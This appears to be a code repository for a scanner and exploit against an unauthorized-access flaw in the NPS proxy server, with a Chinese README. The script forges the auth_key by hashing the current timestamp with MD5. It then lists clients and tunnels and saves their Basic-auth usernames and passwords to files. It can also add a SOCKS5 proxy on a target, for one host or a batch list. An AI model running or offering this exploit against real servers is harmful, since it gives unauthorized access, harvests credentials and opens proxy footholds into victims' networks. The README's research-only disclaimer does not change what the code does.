├── NpsUnauthorizedScan.py
├── README.md
└── requirements.txt
/NpsUnauthorizedScan.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 | import json
3 | import os
4 | import sys
5 | import time
6 |
7 | import requests
8 | import urllib3
9 |
10 | urllib3.disable_warnings()
11 |
12 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
13 | "Accept": "application/json, text/javascript, */*; q=0.01",
14 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
15 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded",
16 | "X-Requested-With": "XMLHttpRequest"}
17 |
18 |
19 | class NPS:
20 | def __init__(self, target, search_mode):
21 | self.url = self.deal_target(target)
22 | self.search_mode = search_mode
23 |
24 | def deal_target(self, target):
25 | if "http" not in target:
26 | host = "http://" + target
27 | else:
28 | host = target
29 | URL = host.split("//")[0] + "//" + host.split("//")[1].split("/")[0]
30 | return URL
31 |
32 | @staticmethod
33 | def get_parameter(self):
34 | """获取auth_key及timestamp"""
35 | timestamp = int(time.time())
36 | m = hashlib.md5()
37 | m.update(str(int(timestamp)).encode("utf8"))
38 | auth_key = m.hexdigest()
39 | return auth_key, timestamp
40 |
41 | def get_client(self):
42 | """获取客户端"""
43 | auth_key, timestamp = self.get_parameter(self)
44 | url1 = self.url + "/client/list"
45 | data = {"search": '', "order": "asc", "offset": "0", "limit": "1000",
46 | "auth_key": auth_key, "timestamp": timestamp}
47 | try:
48 | res = requests.post(url1, headers=headers, data=data, verify=False, timeout=6)
49 | dict_date = json.loads(res.content)
50 | count = dict_date['total']
51 | for i in range(count):
52 | rows = dict_date['rows'][i]
53 | client_id = rows['Id']
54 | client_Addr = rows['Addr']
55 | client_IsConnect = rows['IsConnect']
56 | Remark = rows['Remark']
57 | Status = rows['Status']
58 | print(f"客户端ID:{client_id} 客服端地址:{client_Addr} 状态:{Status} 客户端状态:{client_IsConnect} 备注:{Remark}")
59 | name = self.url.split('//')[1].replace(':', '_').replace("/", '')
60 | if not os.path.exists("result"):
61 | os.mkdir("result")
62 | with open(f"result/{name}.txt", "a", encoding="utf-8") as f:
63 | f.write(f"客户端ID:{client_id} 客服端地址:{client_Addr} 状态:{Status} 客户端状态:{client_IsConnect} 备注:{Remark}\n")
64 | print("-" * 100)
65 | return True
66 | except Exception as e:
67 | error = str(e.args[0])
68 | if "由于目标计算机积极拒绝" in error or "HTTPConnectionPool" in error:
69 | print("目标地址访问失败。")
70 | elif "Expecting value" in error:
71 | print("nps未授权访问漏洞已修复。")
72 | else:
73 | print(f"发生其他错误:{error}")
74 | print("-" * 100 + "\n")
75 | return False
76 |
77 | def get_tunnel(self, type):
78 | """获取代理隧道"""
79 | auth_key, timestamp = self.get_parameter(self)
80 | url = self.url + "/index/gettunnel"
81 | data = {"offset": "0", "limit": "1000", "type": type, "client_id": '', "search": '',
82 | "auth_key": auth_key, "timestamp": timestamp}
83 | res = requests.post(url, headers=headers, data=data, verify=False)
84 | dict_date = json.loads(res.content)
85 | count = dict_date['total']
86 | for i in range(count):
87 | rows = dict_date['rows'][i]
88 | Port = rows['Port']
89 | Mode = rows['Mode']
90 | Addr = rows['Client']['Addr']
91 | client_id = rows['Client']['Id']
92 | Status = rows['Client']['Status']
93 | IsConnect = rows['Client']['IsConnect']
94 | Basic_user = rows['Client']['Cnf']['U']
95 | Basic_pass = rows['Client']['Cnf']['P']
96 | Remark = rows['Remark']
97 | Target = rows['Target']['TargetStr']
98 |
99 | print(f"客户端ID:{client_id} 模式:{Mode} 端口:{Port} 客服端地址:{Addr} 目标地址:{Target} 状态:{Status} 客服端状态:{IsConnect} "
100 | f"认证用户名:{Basic_user} 认证密码:{Basic_pass} 备注:{Remark}")
101 | name = self.url.split('//')[1].replace(':', '_').replace("/", '')
102 | with open(f"result/{name}.txt", "a", encoding="utf-8") as f:
103 | f.write(
104 | f"客户端ID:{client_id} 模式:{Mode} 端口:{Port} 客服端地址:{Addr} 目标地址:{Target} 状态:{Status} 客服端状态:{IsConnect} 认证用户名:{Basic_user} 认证密码:{Basic_pass} 备注:{Remark}\n")
105 |
106 | def add_socks5(self, client_id, port):
107 | """添加sockes5隧道"""
108 | auth_key, timestamp = self.get_parameter(self)
109 | url1 = self.url + "/index/add"
110 | data = {"type": "socks5", "client_id": client_id, "remark": '', "port": port, "target": '', "local_path": '',
111 | "strip_pre": '', "password": '', "auth_key": auth_key, "timestamp": timestamp}
112 | res = requests.post(url1, headers=headers, data=data, verify=False)
113 | if '"status": 1' in res.text:
114 | print("添加socks5代理成功!")
115 | print("-" * 100)
116 | self.get_tunnel("socks5") # 输出添加后的socks5代理列表
117 | print("-" * 100)
118 | return True
119 | elif "未找到客户端" in res.text:
120 | print("添加代理失败,客服端ID错误,请重新添加。")
121 | return False
122 | elif "The port cannot" in res.text:
123 | print("添加代理失败,端口被占用,请重新添加。")
124 | return False
125 | else:
126 | return False
127 |
128 | def run(self):
129 | print(f"测试:{url}")
130 | print("-" * 100)
131 | is_con = self.get_client()
132 | if not is_con:
133 | pass
134 | else:
135 | mode_list = ['tcp', 'udp', 'socks5', 'httpProxy', 'secret', 'p2p', 'file']
136 | for mode in mode_list:
137 | self.get_tunnel(mode)
138 | print("-" * 100 + "\n")
139 | if self.search_mode == "single":
140 | is_add = input("是否添加socks5代理(y/N):")
141 | if is_add == 'y' or is_add == 'Y':
142 | while True:
143 | info = input("请输入客户端ID及端口(2 4444):")
144 | client_id = info.split(" ")[0]
145 | port = info.split(" ")[1]
146 | is_suss = self.add_socks5(client_id, port)
147 | if is_suss:
148 | break
149 |
150 |
151 | def banner():
152 | print(r"""
153 | _ _ _ _ _ _ _ _ _____
154 | | \ | | | | | | | | | | (_) | | / ____|
155 | | \| |_ __ ___ | | | |_ __ __ _ _ _| |_| |__ ___ _ __ _ _______ __| | | (___ ___ __ _ _ __
156 | | . ` | '_ \/ __| | | | | '_ \ / _` | | | | __| '_ \ / _ \| '__| |_ / _ \/ _` | \___ \ / __/ _` | '_ \
157 | | |\ | |_) \__ \ | |__| | | | | (_| | |_| | |_| | | | (_) | | | |/ / __/ (_| | ____) | (_| (_| | | | |
158 | |_| \_| .__/|___/ \____/|_| |_|\__,_|\__,_|\__|_| |_|\___/|_| |_/___\___|\__,_| |_____/ \___\__,_|_| |_|
159 | | |
160 | |_|
161 | nps未授权访问漏洞检测脚本 v1.1 by:ifory
162 | """)
163 |
164 |
165 | if __name__ == '__main__':
166 | banner()
167 | try:
168 | parameter = sys.argv[1]
169 | if parameter == "-t":
170 | url = sys.argv[2]
171 | NPS(url, "single").run()
172 | elif parameter == "-f":
173 | with open(f"{sys.argv[2]}", 'r', encoding='utf-8') as f:
174 | for key in f.readlines():
175 | url = key.strip()
176 | NPS(url, "batch").run()
177 | else:
178 | print("Help: -t 目标URL\n -f 从txt文件中导入URL批量查询")
179 | except IndexError:
180 | print("Help: -t 目标URL\n -f 从txt文件中导入URL批量查询")
181 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Nps Unauthorized Scan
2 | # 前言
3 | 前几日在微信公众号平台看到一篇最近公开nps代理工具0day漏洞的分析,由此利用此原理写了扫描及利用脚本来进行学习,请勿用于非法用途。
4 | https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
5 | 该POC会直接输出nps后台的客户端列表及各类隧道列表,单目标检测可以给目标添加一条socket5代理。
6 | # 使用方法
7 | 
8 | ## 单目标检测
9 | python3 npspoc.py -t http://127.0.0.1:8080
10 | 单目标检测会询问是否给需要给指定客户端添加一条socket5代理。
11 | 
12 | ## 批量检测
13 | python3 npspoc.py -f url.txt
14 | 
15 | ## 结果
16 | 在result目录下生成ip_端口(127.0.0.1_8080)为名称的txt文档。
17 | 
18 | ## 免责申明
19 | 由于传播、利用开源信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不承担任何责任。
20 | 开源仅作为安全研究之用!切勿用作实战用途!仅限于本地复现!
21 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests~=2.26.0
2 | urllib3~=1.25.3
--------------------------------------------------------------------------------